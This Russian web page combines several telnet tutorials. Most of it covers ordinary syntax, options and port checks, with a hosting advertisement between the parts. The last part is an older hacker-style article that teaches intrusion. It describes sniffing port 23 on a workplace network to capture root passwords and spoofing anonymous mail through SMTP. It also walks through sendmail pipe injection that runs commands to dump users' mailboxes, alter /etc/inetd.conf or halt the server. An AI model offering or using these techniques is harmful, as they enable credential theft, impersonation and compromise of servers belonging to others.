- Как пользоваться telnet
- Что такое Telnet?
- Как пользоваться telnet?
- 1. Доступность сервера
- 2. Проверка порта
- 3. Отладка
- 4. Консоль telnet
- 5. Посмотреть сайт telnet
- 6. Удаленное управление telnet
- Выводы
- Как проверить порт командой telnet
- Как включить telnet в windows 7/8/10?
- Как проверить через телнет команду – открыт ли порт?
- Учимся использовать Telnet #1
Как пользоваться telnet
Telnet — это сетевая утилита, которая позволяет соединиться с удаленным портом любого компьютера и установить интерактивный канал связи, например, для передачи команд или получения информации. Можно сказать, что это универсальный браузер в терминале, который умеет работать со множеством сетевых протоколов.
Эта утилита очень часто использовалась раньше, для удаленного управления компьютером с Linux, но потом ей на замену пришел защищенный протокол SSH. Но telnet все еще используется, например, для тестирования сети, проверки портов, а также для взаимодействия с различными IoT устройствами и роутерами. В этой статье мы рассмотрим что такое telnet, а также как пользоваться telnet для решения своих задач.
Что такое Telnet?
Как я уже сказал, эта утилита предназначена для создания интерактивного соединения между удаленными компьютерами. Она работает по протоколу TELNET, но этот протокол поддерживается многими сервисами, поэтому ее можно использовать для управления ими. Протокол работает на основе TCP, и позволяет передавать обычные строковые команды на другое устройство. Он может использоваться не только для ручного управления но и для взаимодействия между процессами.
Для работы с этим протоколом мы будем использовать утилиту telnet, ею очень просто пользоваться. Давайте рассмотрим синтаксис telnet:
$ telnet опции хост порт
Хост — это домен удаленного компьютера, к которому следует подключиться, а порт — порт на этом компьютере. А теперь давайте рассмотрим основные опции:
- -4 — принудительно использовать адреса ipv4;
- -6 — принудительно использовать адреса ipv6;
- -8 — использовать 8-битную кодировку, например, Unicode;
- -E — отключить поддержку Escape последовательностей;
- -a — автоматический вход, берет имя пользователя из переменной окружения USER;
- -b — использовать локальный сокет;
- -d — включить режим отладки;
- -р — режим эмуляции rlogin;
- -e — задать символ начала Escape последовательности;
- -l — пользователь для авторизации на удаленной машине.
Это все, что касается команды telnet для установки соединения. Но соединение с удаленным хостом, это только полдела. После установки подключения telnet может работать в двух режимах:
- Построчный — это предпочтительный режим, здесь строка текста редактируется на локальном компьютере и отправляется только тогда, когда она будет полностью готова. На такая возможность есть не всегда и не у всех сервисов;
- Посимвольный — все набираемые вами символы отправляются на удаленный сервер. Тут будет сложно что-либо исправить, если вы допустили ошибку, потому что Backspace тоже будет отправляться в виде символа и стрелки движения тоже.
Использование telnet заключается в передаче специальных команд. У каждого сервиса свои команды, но у протокола есть свои команды telnet, которые можно применять в консоли telnet.
- CLOSE — закрыть соединение с сервером;
- ENCRYPT — шифровать все передаваемые данные;
- LOGOUT — выйти и закрыть соединение;
- MODE — переключить режим, со строчного на символьный или с символьного на строчный;
- STATUS — посмотреть статус соединения;
- SEND — отправить один из специальных символов telnet;
- SET — установить значение параметра;
- OPEN — установить подключение через telnet с удаленным узлом;
- DISPLAY — отобразить используемые спецсимволы;
- SLC — изменить используемые спецсимволы.
Мы не будем рассматривать все команды, поскольку они вам вряд ли понадобятся, а если и понадобятся, то вы легко сможете их найти в официальной документации.
Как пользоваться telnet?
Дальше мы рассмотрим как использовать telnet для решения ваших задач. Обычно, утилита уже установлена в большинстве систем, но если это не так, то вы можете установить telnet из официальных репозиториев, например, в Ubuntu:
sudo apt install telnet
Теперь перейдем к применению утилиты. Изначально она использовалась для удаленного управления компьютером, но поскольку потом был разработан более безопасный протокол SSH, использовать ее перестали.
1. Доступность сервера
Утилита все еще может быть полезной при поверке доступности узла, для этого просто передайте ей ip адрес или имя хоста:
Для этого не обязательно применять telnet, есть ping.
2. Проверка порта
C помощью telnet мы можем проверить доступность порта на узле, а это уже может быть очень полезным. Чтобы проверить порт telnet выполните:
telnet localhost 123
$ telnet localhost 22
В первом случае мы видим, что соединение никто не принимает, во втором же выводится сообщение об успешном подключении и приветствие SSH сервера.
3. Отладка
Чтобы включить режим отладки и выводить более подробную информацию во время работы используйте опцию -d во время подключения:
sudo telnet -d localhost 22
4. Консоль telnet
Использование консоли telnet тоже важный момент в разборе как пользоваться telnet. В основном режиме вы можете выполнять команды, на удаленном сервере, если же вы хотите адресовать команду именно telnet, например, для настройки ее работы, необходимо использовать спецсимвол для открытия консоли, обычно утилита сразу говорит вам что это за символ, например, по умолчанию используется «^[«:
Для его активации вам нужно нажать сочетание клавиш Ctrl+[, затем вы уведите приглашение ввода telnet.
Чтобы посмотреть все доступные команды, вы можете набрать ?. Например, вы можете посмотреть статус подключения:
Здесь есть и другие интересные возможности. Такие вещи можно проделывать при любом подключении с помощью утилиты telnet.
5. Посмотреть сайт telnet
Один из распространенных способов использования telnet — это тестирование сайта из консоли. Да, красивую веб-страницу вы не получите, но можете вручную собрать запросы и видеть все переданные сервером данные.
telnet opennet.ru 80
Затем наберите команду веб-серверу:
Веб сервер вернет полностью страницу, а также заголовки, которые необходимы для ее отображения браузером.
6. Удаленное управление telnet
Настоятельно не рекомендуется использовать небезопасный telnet для удаленного управления, потому что все команды и пароли могут быть прослушаны сторонним пользователем. Но иногда, например, для роутеров telnet все же используется для удаленного управления. Все работает точно так же, как и для других подключений, только нужно использовать порт 23, а на удаленном компьютере должен быть установлен telnet-server:
telnet localhost 23
Тут порт можно даже не указывать, потому что по умолчанию будет использоваться именно 23. Далее, вам нужно ввести логин и пароль, а затем вы сможете выполнять команды в удаленной системе.
Выводы
В этой статье мы рассмотрели примеры использования telnet, а также что представляет из себя эта утилита, хотя она уже не используется по своему основному назначению, но до сих пор может быть полезной многим пользователям и системным администраторам. Если у вас остались вопросы, спрашивайте в комментариях!
Как проверить порт командой telnet
Как включить telnet в windows 7/8/10?
По умолчанию в ОС Windows начиная с Vista компонент telnet отключен из соображений безопасности. Поскольку этим инструментом очень удобно тестировать работу сервисов – его можно включить.
Для того, чтобы включить телнет в windows 7 / 8 / 10,п нажмите «Пуск» — «Панель управления» — «Программы и компоненты» — «Включение или отключение компонентов Windows».
В открывшемся окне отметьте флажком Telnet:
Как проверить через телнет команду – открыт ли порт?
Нажмите «Пуск» и в окне поиска наберите «telnet» — запустите улилиту telnet.exe. В открывшемся окне введите команду в виде «telnet сервер порт», например, так:
Если команда вернет ошибку (как на скриншоте выше), значит проверяемый порт закрыт. Если же появится пустое окно либо приглашение ввести дополнительные данные – порт открыт:
iPipe – надёжный хостинг-провайдер с опытом работы более 15 лет.
- Виртуальные серверы с NVMe SSD дисками от 299 руб/мес
- Безлимитный хостинг на SSD дисках от 142 руб/мес
- Выделенные серверы в наличии и под заказ
- Регистрацию доменов в более 350 зонах
Дорогие клиенты виртуального хостинга, мы рады сообщить о долгожданном нововведении → В панели управления Megatool доступен к выпуску бесплатный SSL…
Учимся использовать Telnet #1
Часть первая. Хочу но не
могу.
Зачастую меня спрашивают ,
«Как типа телнет поюзать?» Гммм, ну начнем с
того что «телнет» в привычном понимании —
это всего лишь терминал ,который позволяет
несчастному юзеру стать клиентом
какого-нибудь сервиса завязанного на TCP/IP.
Соответственно, для начала нужно определиться
,куда нам нужно)) и нужно ли
нам это. Часто задаваемый вопрос номер два , а
где мне взять телнет клиента(терминал)? Ну
большинство начинающих странников (от слова
странный) даже не догадываются о том ,что телнет
клиент уже стоит на машине))) вызовите командную
строку дос и наберите там telnet (при условии ,что вы
уже подключены в сеть). Добрый windows порадует вас
на редкость кривым клиентом, не имеющим
возможности настройки типа терминала.Гораздо
более приятно пользоваться универсальным
клиентом SecureCRT (http://www.vandyke.com).Если
у тебя стоит Linux или BSD ,то ты уже достиг
могущества и тебе осталось в X`ах вызвать консоль
и набрать telnet.
Коннект производится так:
telnet hostname/IP port
Где hostname/IP — имя хоста/IP на который ты решил
повеситься, port — номер порта, через который ты
собрался иметь удаленную систему.
Часть Вторая. Безвозвратно
погибшее прошлое.
Итак для чего изачально был
нужен этот чудо терминал? Для коннекта на порт 23,
который использует UNIX telnetd ,то бишь телнетный
демон. В результате ,после ввода имени
пользователя и пароля ты вываливаешся прямо в shell
и можешь управлять(с правами назначенными тебе
админом) удаленной машиной так же , как будто ты
сидишь непосредственно за ней))). Но в сем сервисе
было столько багов , что умные люди его давно
пофиксили и перешли на SSH. Основная проблема в
том, что юзер, нюхающий траффик в локалке по 23
порту может без проблем прочитать админовские
login&password (никакого шифрования) сплошной plain text.
БРРРРРР. Но если ты ,находясь в локальной сети
своей организации, набрал telnet servername и увидел
нечто типа:
Linux RedHat 6.0
login
Значит ты теперь можешь смело включать сниффер
на 23 порт и ловить пакетики)) Ну за один рабочий
день ты наверняка получишь рутовый логин и
пароль)))
Часть Третья. SendMail
зачастую все еще дыряв.
Гммм. Ну нафига нам сперся 23
порт )))? Попробуем поиметь через 25, то бишь sendmail.
Выглядит это примерно так:
telnet hostname 25
Trying 194.68.13.231.
Connected to gwx3.host.ru.
Escape character is ‘^]’.
220 gwx3.host.ru ESMTP Sendmail 8.9.3/8.9.3; Tue, 1 Aug 2000 08:54:59 +0400
УРА ты повесился напрямую на 25 порт что дальше?
Дальше поздороваемся:
HELO domainname.com
(кстати имя домена может быть любое, но
желательно реально существующее к примеру YAHOO.COM)
далее пишем от кого письмо:
mail from : billgates@microsoft.com
— вот тебе и анонимность . )))
теперь кому:
rcpt to : username
username — имя юзера которому шлем мыло, root — есть
всегда)))))
ну теперь сама мессага:
data — жмем Enter
здесь печатаем текст .
для того чтобы закончить послание ставим .(точку)
и жмем Enter
quit — валим отсюда))
ВСЕ. мы только что отправили
вполне анонимное мыло без всяких там клиентов)))
Радость в том ,что , зачастую, в sendmail есть
следующие баги:
1. mail from : sendername|any_command_as_U_want — возможность
выполнения любой UNIX команды
rcpt to : username|any_command_as_U_want — возможность
выполнения любой UNIX команды
2. rcpt to : /any_directory/any_filename — возможность
направить мессагу напрямую в файл)))
Один гражданин ,назвавший себя VIRUSMAN недавно
прислал письмо где был следующий вопрос:
«А что мне это дает?» Ну что я могу сказать
.
В первом случае можно сделать нечто типа:
/bin/ls /var/spool/mail>/home/httpd/html/users_info.txt — получаем
список почтовых юзерей
/bin/cat /var/spool/mail/username>/home/httpd/html/user_box.txt —
получаем контент ящика юзера.
/bin/echo any_commands_here>>/etc/inetd.conf — добавляем
произвольные команды в конец инет демона)).
/sbin/halt — паркуем сервак))) и т.д.
Во втором случае . )))
Ну попробуй подумать, пиши что хочешь и куда
хочешь))) Можно дописать произвольные команды
скажем в /etc/inetd.conf . все зависит от твоей
фантазии.
Часть четвертая,
прикладная пауза.